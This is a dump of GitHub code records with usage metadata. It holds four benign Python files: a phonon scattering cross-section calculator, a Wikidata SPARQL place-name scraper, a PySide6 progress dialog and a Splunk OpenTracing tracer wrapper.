"attribute"}, {"api_name": "HelloTemplate.views", "line_number": 9, "usage_type": "name"}]}
{"seq_id": "19649911296", "text": "# Based on Schreiber & Fitting\n# See /doc/extra/phonon-scattering.lyx\n\nfrom cslib import units, Settings\nfrom cslib.dcs import DCS\nfrom cslib.numeric import (log_interpolate)\n\nfrom cstool.parse_input import read_input\n\nfrom math import pi\n\nimport numpy as np\n\nfrom numpy import (cos, expm1, log10)\nfrom functools import partial\n\n\ndef phonon_crosssection(M, rho_m, eps_ac, c_s, alpha,\n                        m_dos, m_eff,\n                        lattice=None,\n                        E_BZ=None, T=units.T_room,\n                        interpolate=log_interpolate,\n                        h=lambda x: (3 - 2 * x) * x**2):\n    \"\"\"\n    Compute the differential phonon cross-sections using the single branch\n    model given the properties of a material. These properties should be\n    given as quantities with units, where the unit must have the same\n    dimensionality as those given here.\n\n    :param M: molar weight (g/mol)\n    :param rho_m: mass density (g/cm³)\n    :param eps_ac: acoustic deformation potential (eV)\n    :param c_s: speed of sound (m/s) unit?\n    :paran alpha: relates to the bending of the dispersion relation towards\n    the Brillouin zone boundary (used in Eq. 3.112)('m²/s')\n    :param m_dos: density of state mass (kg)\n    :param m_eff: effective mass of particle a.k.a. m_star (kg)\n    :param lattice: lattice constant (Å)\n    :param E_BZ: the electron energy at the Brioullin zone (eV); can be deduced\n    from `lattice`.\n    :return: Function taking an energy array and an angle array, returning the\n             crosssection quantity in units of cm² as a 2d-array.\n\n    One of the parameters `lattice` and `E_BZ` should be given.\n    \"\"\"\n\n    if lattice is None and E_BZ is None:\n        raise ValueError(\"One of `lattice` and `E_BZ` should be given.\")\n\n    # wave factor at 1st Brillouin Zone Boundary\n    k_BZ = 2 * pi / lattice\n\n    # Verduin Eq. 3.120\n    E_BZ = E_BZ or ((units.hbar * k_BZ)**2 / (2 * units.m_e)).to('eV')\n\n    # If lattice is not given, but E_BZ is defined.\n    lattice = lattice or np.sqrt(units.h**2 / (2 * units.m_e * E_BZ)).to('Å')\n\n    # print(\"E_BZ = {:~P}\".format(E_BZ.to('eV'))) ??\n\n    # A: screening factor (eV); 5 is constant for every material.\n    A = 5 * E_BZ\n    # rho_n: number density.\n    rho_n = (units.N_A / M * rho_m).to('cm⁻³')\n\n    h_bar_w_BZ = (units.hbar * (c_s * k_BZ - alpha * k_BZ**2)) \\\n        .to('eV')    # Verduin Eq. 3.114\n\n    # Acoustic phonon population density , Verduin Eq. 3.117\n    n_BZ = 1 / expm1(h_bar_w_BZ / (units.k * T))\n\n    # Verduin equation (3.125) divided by number density\n    sigma_ac = ((np.sqrt(m_eff * m_dos**3) * eps_ac**2 * units.k * T) /\n                (pi * units.hbar**4 * c_s**2 * rho_m * rho_n)).to('cm²')\n\n    # extra multiplication factor for high energies according to Verduin\n    # equation (3.126) noticed that A could be balanced out of the equation\n    factor_high = ((n_BZ + 0.5) * 8 * m_dos * c_s**2 /\n                   (h_bar_w_BZ * units.k * T)).to('1/eV')\n    # alpha = ((n_BZ + 0.5) * 8 * h_bar_w_BZ / (units.k*T * E_BZ)).to('1/eV')\n\n    def mu(theta):  # see Eq. 3.126\n        return (1 - cos(theta)) / 2\n\n    def norm(mu, E):\n        \"\"\"Phonon cross-section for low energies.\n\n        :param E: energy in Joules.\n        :param theta: angle in radians.\"\"\"\n        return (sigma_ac / (4 * pi * (1 + mu * E / A)**2)).to('cm²')\n\n    def dcs_hi(mu, E):\n        \"\"\"Phonon cross-section for high energies.\n\n        :param E: energy in Joules.\n        :param theta: angle in radians.\"\"\"\n        return (factor_high * mu * E).to(units.dimensionless)\n\n    def dcs(theta, E):\n        m = mu(theta)\n\n        g = interpolate(\n            lambda E: 1, partial(dcs_hi, m),\n            h, E_BZ / 4, E_BZ)\n\n        return g(E) * norm(m, E) * 3.0\n\n    # should have units of m²/sr\n    return dcs\n\n\ndef phonon_crosssection_dual_branch(\n        M, rho_m,\n        eps_ac_lo, c_s_lo, alpha_lo,\n        eps_ac_tr, c_s_tr, alpha_tr,\n        m_dos, m_eff,\n        lattice=None, E_BZ=None, T=units.T_room,\n        interpolate=log_interpolate, h=lambda x: (3 - 2 * x) * x**2):\n    \"\"\"Compute the differential phonon cross-sections using dual-branch model\n    given the properties of a material. These properties should be given as\n    quantities with units, where the unit must have the same dimensionality as\n    those given here.\n\n    :param eps_ac_lo: acoustic deformation potential for longitudinal mode (eV)\n    :param c_s_lo: speed of sound for longitudinal mode (m/s)\n    :param alpha_lo: relates to the bending of the dispersion relation\n    towards the Brillouin zone boundary for longitudinal mode (m²/s)\n    :param eps_ac_tr: acoustic deformation potential for transversal mode (eV)\n    :param c_s_tr: speed of sound for transversal mode (m/s)\n    :param alpha_tr: relates to the bending of the dispersion relation\n    towards the Brillouin zone boundary for transversal mode (m²/s)\n    :param m_dos: density of states electron mass (kg)\n    :param m_eff: effective electron mass inside the solid state (kg)\n    :param M: molar weight (g/mol)\n    :param rho_m: mass density (g/cm³)\n    :param lattice: lattice constant (Å)\n    :param E_BZ: the electron energy at the Brioullin zone (eV); can be deduced\n    from `lattice`.\n    :return: Function taking an energy array and an angle array, returning the\n             crosssection quantity in units of cm² as a 2d-array.\n\n    One of the parameters `lattice` and `E_BZ` should be given.\n    \"\"\"\n\n    if lattice is None and E_BZ is None:\n        raise ValueError(\"One of `lattice` and `E_BZ` should be given.\")\n\n    # wave factor at 1st Brillouin Zone Boundary\n    k_BZ = 2 * pi / lattice\n\n    # Verduin Eq. 3.120\n    E_BZ = E_BZ or ((units.hbar * k_BZ)**2 / (2 * units.m_e)).to('eV')\n\n    # If lattice is not given, but E_BZ is defined.\n    lattice = lattice or np.sqrt(units.h**2 / (2 * units.m_e * E_BZ)).to('Å')\n\n    # print(\"E_BZ = {:~P}\".format(E_BZ.to('eV'))) ??\n\n    # A: screening factor (eV); 5 is constant for every material.\n    A = 5 * E_BZ\n    # rho_n: number density.\n    rho_n = (units.N_A / M * rho_m).to('cm⁻³')\n\n    h_bar_w_BZ_lo = (units.hbar * (c_s_lo * k_BZ - alpha_lo * k_BZ**2)) \\\n        .to('eV')    # Verduin Eq. 3.114\n    h_bar_w_BZ_tr = (units.hbar * (c_s_tr * k_BZ - alpha_tr * k_BZ**2)) \\\n        .to('eV')    # Verduin Eq. 3.114\n\n    # Acoustic phonon population density , Verduin Eq. 3.117\n    n_BZ_lo = 1 / expm1(h_bar_w_BZ_lo / (units.k * T))\n    n_BZ_tr = 1 / expm1(h_bar_w_BZ_tr / (units.k * T))\n\n    # Verduin equation (3.125) divided by number density without branch\n    # dependent parameters\n    sigma_ac = ((np.sqrt(m_eff * m_dos**3) * units.k * T) /\n                (pi * units.hbar**4 * rho_m * rho_n)).to('s²/kg²')\n\n    # extra multiplication factor for high energies according to Verduin\n    # equation (3.126) noticed that A could be balanced out of the equation\n    # without branch dependent parameters\n    factor_high = (8 * m_dos / (units.k * T)).to('kg/eV')\n    # alpha = ((n_BZ + 0.5) * 8 * h_bar_w_BZ / (units.k*T * E_BZ)).to('1/eV')\n\n    def mu(theta):  # see Eq. 3.126\n        return (1 - cos(theta)) / 2\n\n    def dcs_lo(mu, E):\n        \"\"\"Phonon cross-section for low energies.\n\n        :param E: energy in Joules.\n        :param theta: angle in radians.\"\"\"\n        two_branch_factor = 1. * (eps_ac_lo**2 / c_s_lo**2) + \\\n            2. * (eps_ac_tr**2 / c_s_tr**2)\n        return (sigma_ac * two_branch_factor /\n                (4 * pi * (1 + mu * E / A)**2)).to('cm²')\n\n    def dcs_hi(mu, E):\n        \"\"\"Phonon cross-section for high energies.\n\n        :param E: energy in Joules.\n        :param theta: angle in radians.\"\"\"\n        two_branch_factor = \\\n            1. * ((n_BZ_lo + 0.5) * eps_ac_lo**2 / h_bar_w_BZ_lo) + \\\n            2. * ((n_BZ_tr + 0.5) * eps_ac_tr**2 / h_bar_w_BZ_tr)\n        return ((sigma_ac * factor_high * two_branch_factor * mu * E) /\n                (4 * pi * (1 + mu * E / A)**2)).to('cm²')\n\n    def dcs(theta, E):\n        m = mu(theta)\n\n        g = interpolate(\n            partial(dcs_lo, m), partial(dcs_hi, m),\n            h, E_BZ / 4, E_BZ)\n\n        return g(E)\n\n    # should have units of m²/sr\n    return dcs\n\n\ndef phonon_cs_fn(s: Settings):\n    if s.phonon.model == 'dual':\n        return phonon_crosssection_dual_branch(\n            s.M_tot, s.rho_m,\n            s.phonon.longitudinal.eps_ac,\n            s.phonon.longitudinal.c_s,\n            s.phonon.longitudinal.alpha,\n            s.phonon.transversal.eps_ac,\n            s.phonon.transversal.c_s,\n            s.phonon.transversal.alpha,\n            s.phonon.m_dos,\n            s.phonon.m_eff,\n            s.phonon.lattice, T=units.T_room,\n            interpolate=log_interpolate)\n    else:\n        return phonon_crosssection(\n            s.M_tot, s.rho_m,\n            s.phonon.single.eps_ac,\n            s.phonon.single.c_s,\n            s.phonon.single.alpha,\n            s.phonon.m_dos,\n            s.phonon.m_eff,\n            s.phonon.lattice, T=units.T_room,\n            interpolate=log_interpolate)  # , h=lambda x: x)\n\n\nif __name__ == \"__main__\":\n    import argparse\n\n    parser = argparse.ArgumentParser(\n        description='Calculate elastic phonon cross-sections for a material.')\n    parser.add_argument(\n        'material_file', type=str,\n        help=\"Filename of material in YAML format.\")\n    args = parser.parse_args()\n\n    s = read_input(args.material_file)\n    if 'M_tot' not in s:\n        s.M_tot = sum(e.M * e.count for e in s.elements.values())\n\n    E_range = np.logspace(log10(0.01), log10(1000), num=100) * units.eV\n    theta_range = np.linspace(0, pi, num=100) * units.rad\n\n    csf = phonon_cs_fn(s)\n    cs = DCS(theta_range, E_range[:, None], csf(theta_range, E_range[:, None]),\n             x_units='rad', y_units='eV', z_units='cm²', log='y')\n\n    cs.save_gnuplot('{}_phonon.bin'.format(s.name))\n", "repo_name": "eScatter/cstool", "sub_path": "cstool/phonon.py", "file_name": "phonon.py", "file_ext": "py", "file_size_in_byte": 9859, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "cslib.units.T_room", "line_number": 21, "usage_type": "attribute"}, {"api_name": "cslib.units", "line_number": 21, "usage_type": "name"}, {"api_name": "cslib.numeric.log_interpolate", "line_number": 22, "usage_type": "name"}, {"api_name": "math.pi", "line_number": 51, "usage_type": "name"}, {"api_name": "cslib.units.hbar", "line_number": 54, "usage_type": "attribute"}, {"api_name": "cslib.units", "line_number": 54, "usage_type": "name"}, {"api_name": "cslib.units.m_e", "line_number": 54, "usage_type": "attribute"}, {"api_name": "numpy.sqrt", "line_number": 57, "usage_type": "call"}, {"api_name": "cslib.units.h", "line_number": 57, "usage_type": "attribute"}, {"api_name": "cslib.units", "line_number": 57, "usage_type": "name"}, {"api_name": "cslib.units.m_e", "line_number": 57, "usage_type": "attribute"}, {"api_name": "cslib.units.N_A", "line_number": 64, "usage_type": "attribute"}, {"api_name": "cslib.units", "line_number": 64, "usage_type": "name"}, {"api_name": "cslib.units.hbar", "line_number": 66, "usage_type": "attribute"}, {"api_name": "cslib.units", "line_number": 66, "usage_type": "name"}, {"api_name": "numpy.expm1", "line_number": 70, "usage_type": "call"}, {"api_name": "cslib.units.k", "line_number": 70, "usage_type": "attribute"}, {"api_name": "cslib.units", "line_number": 70, "usage_type": "name"}, {"api_name": "numpy.sqrt", "line_number": 73, "usage_type": "call"}, {"api_name": "cslib.units.k", "line_number": 73, "usage_type": "attribute"}, {"api_name": "cslib.units", "line_number": 73, "usage_type": "name"}, {"api_name": "math.pi", "line_number": 74, "usage_type": "name"}, {"api_name": "cslib.units.hbar", "line_number": 74, "usage_type": "attribute"}, {"api_name": "cslib.units", "line_number": 74, "usage_type": "name"}, {"api_name": "cslib.units.k", "line_number": 79, "usage_type": "attribute"}, {"api_name": "cslib.units", "line_number": 79, "usage_type": "name"}, {"api_name": "numpy.cos", "line_number": 83, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 90, "usage_type": "name"}, {"api_name": "cslib.units.dimensionless", "line_number": 97, "usage_type": "attribute"}, {"api_name": "cslib.units", "line_number": 97, "usage_type": "name"}, {"api_name": "functools.partial", "line_number": 103, "usage_type": "call"}, {"api_name": "cslib.units.T_room", "line_number": 117, "usage_type": "attribute"}, {"api_name": "cslib.units", "line_number": 117, "usage_type": "name"}, {"api_name": "cslib.numeric.log_interpolate", "line_number": 118, "usage_type": "name"}, {"api_name": "math.pi", "line_number": 149, "usage_type": "name"}, {"api_name": "cslib.units.hbar", "line_number": 152, "usage_type": "attribute"}, {"api_name": "cslib.units", "line_number": 152, "usage_type": "name"}, {"api_name": "cslib.units.m_e", "line_number": 152, "usage_type": "attribute"}, {"api_name": "numpy.sqrt", "line_number": 155, "usage_type": "call"}, {"api_name": "cslib.units.h", "line_number": 155, "usage_type": "attribute"}, {"api_name": "cslib.units", "line_number": 155, "usage_type": "name"}, {"api_name": "cslib.units.m_e", "line_number": 155, "usage_type": "attribute"}, {"api_name": "cslib.units.N_A", "line_number": 162, "usage_type": "attribute"}, {"api_name": "cslib.units", "line_number": 162, "usage_type": "name"}, {"api_name": "cslib.units.hbar", "line_number": 164, "usage_type": "attribute"}, {"api_name": "cslib.units", "line_number": 164, "usage_type": "name"}, {"api_name": "cslib.units.hbar", "line_number": 166, "usage_type": "attribute"}, {"api_name": "cslib.units", "line_number": 166, "usage_type": "name"}, {"api_name": "numpy.expm1", "line_number": 170, "usage_type": "call"}, {"api_name": "cslib.units.k", "line_number": 170, "usage_type": "attribute"}, {"api_name": "cslib.units", "line_number": 170, "usage_type": "name"}, {"api_name": "numpy.expm1", "line_number": 171, "usage_type": "call"}, {"api_name": "cslib.units.k", "line_number": 171, "usage_type": "attribute"}, {"api_name": "cslib.units", "line_number": 171, "usage_type": "name"}, {"api_name": "numpy.sqrt", "line_number": 175, "usage_type": "call"}, {"api_name": "cslib.units.k", "line_number": 175, "usage_type": "attribute"}, {"api_name": "cslib.units", "line_number": 175, "usage_type": "name"}, {"api_name": "math.pi", "line_number": 176, "usage_type": "name"}, {"api_name": "cslib.units.hbar", "line_number": 176, "usage_type": "attribute"}, {"api_name": "cslib.units", "line_number": 176, "usage_type": "name"}, {"api_name": "cslib.units.k", "line_number": 181, "usage_type": "attribute"}, {"api_name": "cslib.units", "line_number": 181, "usage_type": "name"}, {"api_name": "numpy.cos", "line_number": 185, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 195, "usage_type": "name"}, {"api_name": "math.pi", "line_number": 206, "usage_type": "name"}, {"api_name": "functools.partial", "line_number": 212, "usage_type": "call"}, {"api_name": "cslib.Settings", "line_number": 221, "usage_type": "name"}, {"api_name": "cslib.units.T_room", "line_number": 233, "usage_type": "attribute"}, {"api_name": "cslib.units", "line_number": 233, "usage_type": "name"}, {"api_name": "cslib.numeric.log_interpolate", "line_number": 234, "usage_type": "name"}, {"api_name": "cslib.units.T_room", "line_number": 243, "usage_type": "attribute"}, {"api_name": "cslib.units", "line_number": 243, "usage_type": "name"}, {"api_name": "cslib.numeric.log_interpolate", "line_number": 244, "usage_type": "name"}, {"api_name": "argparse.ArgumentParser", "line_number": 250, "usage_type": "call"}, {"api_name": "cstool.parse_input.read_input", "line_number": 257, "usage_type": "call"}, {"api_name": "numpy.logspace", "line_number": 261, "usage_type": "call"}, {"api_name": "numpy.log10", "line_number": 261, "usage_type": "call"}, {"api_name": "cslib.units.eV", "line_number": 261, "usage_type": "attribute"}, {"api_name": "cslib.units", "line_number": 261, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 262, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 262, "usage_type": "argument"}, {"api_name": "cslib.units.rad", "line_number": 262, "usage_type": "attribute"}, {"api_name": "cslib.units", "line_number": 262, "usage_type": "name"}, {"api_name": "cslib.dcs.DCS", "line_number": 265, "usage_type": "call"}]}
{"seq_id": "31347080310", "text": "from SPARQLWrapper import SPARQLWrapper, JSON\nimport pandas as pd\n#results_df=pd.read_pickle('wiki_orte.p')\nresults_df = pd.DataFrame()\nresults_df.to_pickle('wiki_orte.p')\nimport time\nqueries=[]\nqueries.append(\"query1\")\nqueries.append(\"query2\")\nlanguage=['de','en','ru','cz','pl','fr','es','pt']\n#off=len(results_df)\nfor query in queries:\n    for lang in language:\n        lim = 1000000\n        off = 0\n        while True:\n#UNION\n#{?item\n#skos:altLabel ?itemLabel\n#filter(lang(?itemLabel) = '\"\"\"\"\" + str(lang) + \"\"\"').}\n\n#            try:                                 LIMIT \"\"\" + str(lim) + \"\"\" OFFSET \"\"\" + str(off) + \"\"\"\n                    print('Sprache:',lang)\n                    print('Beginne Abfrage')\n                    sparql = SPARQLWrapper(\"http://localhost:9999/bigdata/sparql\")\n                    querydic = {}\n                    querydic['query1']=\"\"\"PREFIX rdfs: \n                        SELECT ?item ?itemLabel ?art ?coord ?staat ?kurz ?population\n                                              WHERE\n                                              {\n                                                  ?item wdt:P31/wdt:P279* wd:Q486972.\n                                                  ?item wdt:P31 ?art.\n                                                  ?item rdfs:label ?itemLabel filter (lang(?itemLabel) = '\"\"\"\"\" + str(lang) + \"\"\"').\n                                                  ?item  wdt:P625 ?coord.\n                                                  OPTIONAL{?item wdt:P1082 ?population .}\n                                                  OPTIONAL{?item wdt:P17 ?staat.\n                                                        ?staat wdt:P297 ?kurz.}\n                                              }\n                                                          LIMIT \"\"\" + str(lim) + \"\"\" OFFSET \"\"\" + str(off) + \"\"\"\n                \n                                                          \"\"\"\n                    querydic['query2'] = \"\"\"PREFIX rdfs: \n                        SELECT ?item ?itemLabel ?art ?coord ?staat ?kurz ?population\n                                              WHERE\n                                              {\n                                                  ?item wdt:P31/wdt:P279* wd:Q486972.\n                                                  ?item wdt:P31 ?art.\n                                                  ?item skos:altLabel ?itemLabel filter (lang(?itemLabel) = '\"\"\"\"\" + str(lang) + \"\"\"').\n                                                  ?item  wdt:P625 ?coord.\n                                                  OPTIONAL{?item wdt:P1082 ?population .}\n                                                  OPTIONAL{?item wdt:P17 ?staat.\n                                                        ?staat wdt:P297 ?kurz.}\n                                              }\n                                                          LIMIT \"\"\" + str(lim) + \"\"\" OFFSET \"\"\" + str(off) + \"\"\"                                                        \n                    \n                                                          \"\"\"\n                    sparql.setQuery(querydic[query])\n                    print(querydic[query])\n                    sparql.setReturnFormat(JSON)\n                    sparql.timeout= 1000\n                    results = sparql.query().convert()\n                    print('Abfragenergebnis erhalten, beginne Formatierung.')\n                    wikiorte = pd.io.json.json_normalize(results['results']['bindings'])\n                    print('Formatierung abgeshclossen,lade bisherige ergebnisse.')\n                    wikiorte.rename(columns={'coord.value': 'coord'}, inplace=True)\n                    print('Länge der Resultate_DF:',len(wikiorte))\n\n    #                wikiortefilter= wikiorte.groupby(['instanz.value','instanzLabel.value']).count()\n    #                wikiortefilter.to_csv('wikiort.csv',sep='\\t')\n                    #print(wikiorte.columns,results_df.columns)\n                    results_df=pd.read_pickle('wiki_orte.p')\n                    print('länge der Wikidb vor concat:',len(results_df))\n                    results_df= pd.concat([results_df,wikiorte],ignore_index=True)\n    #                results_df['instanzLabel.xml:lang']=results_df['instanzLabel.xml:lang'].str.replace('en','1')\n    #                results_df['itemLabel.xml:lang']=results_df['instanzLabel.xml:lang'].str.replace('en','1')\n    #                results_df.sort_values(['itemLabel.xml:lang','item.value'],ascending=True,inplace=True)\n                    print(results_df.head())\n                    results_df.drop_duplicates(subset=['item.value','itemLabel.value','coord','kurz.value','art.value'],keep='first', inplace=True)\n\n                    results_df.reset_index(inplace=True, drop=True)\n                    #print(results_df)\n                    results_df.to_pickle('wiki_orte.p')\n                    results_df.to_csv('wiki_orte.csv',sep='\\t')\n\n                    off=off+lim\n                    print('wir sind jetzt bei:',off)\n                    print('länge der Wikidb nach concat:',len(results_df))\n                    print('länge der Resultate resultdb:', len(wikiorte))\n\n                    if len(wikiorte)==0:\n                        print('Break bei offset:',off)\n                        break\n#            except Exception as ex:\n#                    print('Fehler: '+ex)\n#                    time.sleep(10)\nprint('Beginne Bearbeitung der Koorinaten')\nresults_df = results_df=pd.read_pickle('wiki_orte.p')\nwikiorte['latitude'] = 0.1\nwikiorte['longitude'] = 0.1\nprint(results_df[results_df['itemLabel.value'] == 'Царицын'])\nfor zeile in wikiorte.itertuples():\n        # print(zeile)\n        coords = zeile.coord.split('(')[1].split(')')[0].split(' ')\n        wikiorte.set_value(zeile[0], 'longitude', float(coords[0]))\n        wikiorte.set_value(zeile[0], 'latitude', float(coords[1]))\nresults_df.to_pickle('wiki_orte.p')\nresults_df.to_csv('wiki_orte.csv',sep='\\t')\n                #break\n\n#for result in results:\n#    print(result)\n\n\n# SERVICE wikibase:label {\n#     bd:serviceParam wikibase:language \"en\" .\n# }\n# import requests\n# #import helpers\n# import json\n# import pandas as pd\n# import matplotlib as mpl\n# import matplotlib.pyplot as plt\n# query = '''PREFIX wikibase: \n# PREFIX wd: \n# PREFIX wdt: \n# PREFIX rdfs: \n#\n\n#\n# #mpl.style.use('ramiro')\n# chartinfo = 'Author: Ramiro Gómez - ramiro.org • Data: Wikidata - wikidata.org'\n# infosize = 12\n# url = 'https://query.wikidata.org/bigdata/namespace/wdq/sparql'\n# data = requests.get(url, params={'query': query, 'format': 'json'},allow_redirects=True,timeout=10000)\n# #print(data.text)\n# #data.replace(''','\"')\n# jdata=json.loads(data.text, strict=False)\n# presidents = []\n# for item in jdata['results']['bindings']:\n#     print(item)\n#     presidents.append({\n#         'item': item['item']['value'],\n#         'itemLabel': item['itemLabel']['value'],\n#         'coord': item['coord']['value'],\n#     })\n# df = pd.DataFrame(presidents)\n# print(df)\n# df.head()\n# df.to_pickle('test_sparcle.p')\n\n", "repo_name": "erikradisch/historic-place-name-locator", "sub_path": "make-place-name-db/sparqlwikidata.py", "file_name": "sparqlwikidata.py", "file_ext": "py", "file_size_in_byte": 7287, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pandas.DataFrame", "line_number": 4, "usage_type": "call"}, {"api_name": "SPARQLWrapper.SPARQLWrapper", "line_number": 25, "usage_type": "call"}, {"api_name": "SPARQLWrapper.JSON", "line_number": 59, "usage_type": "argument"}, {"api_name": "pandas.io.json.json_normalize", "line_number": 63, "usage_type": "call"}, {"api_name": "pandas.io", "line_number": 63, "usage_type": "attribute"}, {"api_name": "pandas.read_pickle", "line_number": 71, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 73, "usage_type": "call"}, {"api_name": "pandas.read_pickle", "line_number": 97, "usage_type": "call"}]}
{"seq_id": "28926201245", "text": "from PySide6 import QtCore\nfrom PySide6.QtGui import QIcon\nfrom PySide6.QtCore import (\n    Qt\n)\n\nfrom PySide6.QtWidgets import (\n    QDialog\n)\n\nfrom project_info import Info\nfrom src.ui.gui.Progress import Ui_Dialog\n\n\nclass ProgressWindow(Ui_Dialog, QDialog):\n    \"\"\"\n    .\n    \"\"\"\n\n    def __init__(self, *args: object, parent=None, **kwargs: object) -> None:\n        super(ProgressWindow, self).__init__(parent, *args, **kwargs)\n\n        self.init_all_ui()\n\n    def init_all_ui(self) -> None:\n        \"\"\"\n        Initialize UI window\n        :return: None\n        \"\"\"\n        self.setupUi(self)\n\n        self.setWindowIcon(QIcon(Info.ICON_PATH))\n        # self.setWindowFlags(Qt.FramelessWindowHint)\n\n        self.setWindowFlag(Qt.WindowCloseButtonHint, False)\n        self.setWindowFlag(Qt.WindowContextHelpButtonHint, False)\n        self.buttonBox.rejected.connect(self.reject)\n        self.show()\n\n    def reject(self) -> None:\n        \"\"\"\n        Override to ensure proper closure of window\n        \"\"\"\n        super().reject()\n\n    def closeEvent(self, event):\n        \"\"\"\n        Override to ensure proper closure of window\n        :param event:\n        \"\"\"\n        self.reject()\n\n    def close(self) -> None:\n        \"\"\"\n        Override to ensure proper closure of window\n        \"\"\"\n        self.reject()\n", "repo_name": "SoundsLikeJonny/UCS-Voice-Naming-Tool", "sub_path": "UCS Voice Naming Tool/src/ui/ui_progress_window.py", "file_name": "ui_progress_window.py", "file_ext": "py", "file_size_in_byte": 1317, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "69", "api": [{"api_name": "src.ui.gui.Progress.Ui_Dialog", "line_number": 15, "usage_type": "name"}, {"api_name": "PySide6.QtWidgets.QDialog", "line_number": 15, "usage_type": "name"}, {"api_name": "PySide6.QtGui.QIcon", "line_number": 32, "usage_type": "call"}, {"api_name": "project_info.Info.ICON_PATH", "line_number": 32, "usage_type": "attribute"}, {"api_name": "project_info.Info", "line_number": 32, "usage_type": "name"}, {"api_name": "PySide6.QtCore.Qt.WindowCloseButtonHint", "line_number": 35, "usage_type": "attribute"}, {"api_name": "PySide6.QtCore.Qt", "line_number": 35, "usage_type": "name"}, {"api_name": "PySide6.QtCore.Qt.WindowContextHelpButtonHint", "line_number": 36, "usage_type": "attribute"}, {"api_name": "PySide6.QtCore.Qt", "line_number": 36, "usage_type": "name"}]}
{"seq_id": "6382363039", "text": "\"\"\"\nSplunk's implementation of the python OpenTracing API.\n\nhttp://opentracing.io\nhttps://github.com/opentracing/api-python\n\nSee the API definition for comments.\n\"\"\"\nfrom __future__ import absolute_import\n\nfrom basictracer import BasicTracer\nfrom basictracer.text_propagator import TextPropagator\nfrom opentracing import Format\n\nfrom splunktracing.splunk_binary_propagator import SplunkTracingBinaryPropagator\nfrom splunktracing.propagation import SplunkTracingFormat\nfrom .recorder import Recorder\n\n\ndef Tracer(**kwargs):\n    \"\"\"Instantiates Splunk's OpenTracing implementation.\n\n    :param str component_name: the human-readable identity of the instrumented\n        process. I.e., if one drew a block diagram of the distributed system,\n        the component_name would be the name inside the box that includes this\n        process.\n    :param str access_token: the Splunk project's access token\n    :param str collector_host: Splunk collector hostname\n    :param int collector_port: Splunk collector port\n    :param str collector_encryption: one of 'tls' or 'none'. If nothing is\n        specified, the default is 'tls'.\n    :param dict tags: a string->string dict of tags for the Tracer itself (as\n        opposed to the Spans it records)\n    :param int max_span_records: Maximum number of spans records to buffer\n    :param int periodic_flush_seconds: seconds between periodic background\n        flushes, or 0 to disable background flushes entirely.\n    :param int verbosity: verbosity for (debug) logging, all via logging.info().\n        0 (default): log nothing\n        1: log transient problems\n        2: log all of the above, along with payloads sent over the wire\n    :param bool certificate_verification: if False, will ignore SSL\n        certification verification (in ALL HTTPS calls, not just in this\n        library) for the lifetime of this process; intended for debugging\n        purposes only. (Included to work around SNI non-conformance issues\n        present in some versions of python)\n    :param ScopeManager scope_manager: the ScopeManager responsible for\n        Span activation. Defaults to the implementation provided by the\n        basictracer package, which uses thread-local storage.\n    :param float timeout_seconds: Number of seconds allowed for the HTTP report transaction (fractions are permitted)\n    \"\"\"\n    enable_binary_format = True\n    if 'disable_binary_format' in kwargs:\n        enable_binary_format = not kwargs['disable_binary_format']\n        del kwargs['disable_binary_format']\n\n    scope_manager = None\n    if 'scope_manager' in kwargs:\n        scope_manager = kwargs['scope_manager']\n        del kwargs['scope_manager']\n\n    return _SplunkTracer(enable_binary_format, Recorder(**kwargs), scope_manager)\n\n\nclass _SplunkTracer(BasicTracer):\n    def __init__(self, enable_binary_format, recorder, scope_manager):\n        \"\"\"Initialize the Splunk Tracer, deferring to BasicTracer.\"\"\"\n        super(_SplunkTracer, self).__init__(recorder, scope_manager=scope_manager)\n        self.register_propagator(Format.TEXT_MAP, TextPropagator())\n        self.register_propagator(Format.HTTP_HEADERS, TextPropagator())\n        if enable_binary_format:\n            # We do this import lazily because protobuf versioning issues\n            # can cause process-level failure at import time.\n            from basictracer.binary_propagator import BinaryPropagator\n            self.register_propagator(Format.BINARY, BinaryPropagator())\n            self.register_propagator(SplunkTracingFormat.SPLUNK_BINARY, SplunkTracingBinaryPropagator())\n\n    def flush(self):\n        \"\"\"Force a flush of buffered Span data to the Splunk collector.\"\"\"\n        self.recorder.flush()\n\n    def __enter__(self):\n        return self\n\n    def __exit__(self, exc_type, exc_val, exc_tb):\n        self.flush()\n", "repo_name": "splnkit/splunk-tracer-python", "sub_path": "splunktracing/tracer.py", "file_name": "tracer.py", "file_ext": "py", "file_size_in_byte": 3815, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "recorder.Recorder", "line_number": 61, "usage_type": "call"}, {"api_name": "basictracer.BasicTracer", "line_number": 64, "usage_type": "name"}, {"api_name": "opentracing.Format.TEXT_MAP", "line_number": 68, "usage_type": "attribute"}, {"api_name": "opentracing.Format", "line_number": 68, "usage_type": "name"}, {"api_name": "basictracer.text_propagator.TextPropagator", "line_number": 68, "usage_type": "call"}, {"api_name": "opentracing.Format.HTTP_HEADERS", "line_number": 69, "usage_type": "attribute"}, {"api_name": "opentracing.Format", "line_number": 69, "usage_type": "name"}, {"api_name": "basictracer.text_propagator.TextPropagator", "line_number": 69, "usage_type": "call"}, {"api_name": "opentracing.Format.BINARY", "line_number": 74, "usage_type": "attribute"}, {"api_name": "opentracing.Format", "line_number": 74, "usage_type": "name"}, {"api_name": "basictracer.binary_propagator.BinaryPropagator", "line_number": 74, "usage_type": "call"}, {"api_name": "splunktracing.propagation.SplunkTracingFormat.SPLUNK_BINARY", "line_number": 75, "usage_type": "attribute"}, {"api_name": "splunktracing.propagation.SplunkTracingFormat", "line_number": 75, "usage_type": "name"}, {"api_name": "splunktracing.splunk_binary_propagator.SplunkTracingBinaryPropagator", "line_number": 75, "usage_type": "call"}]}
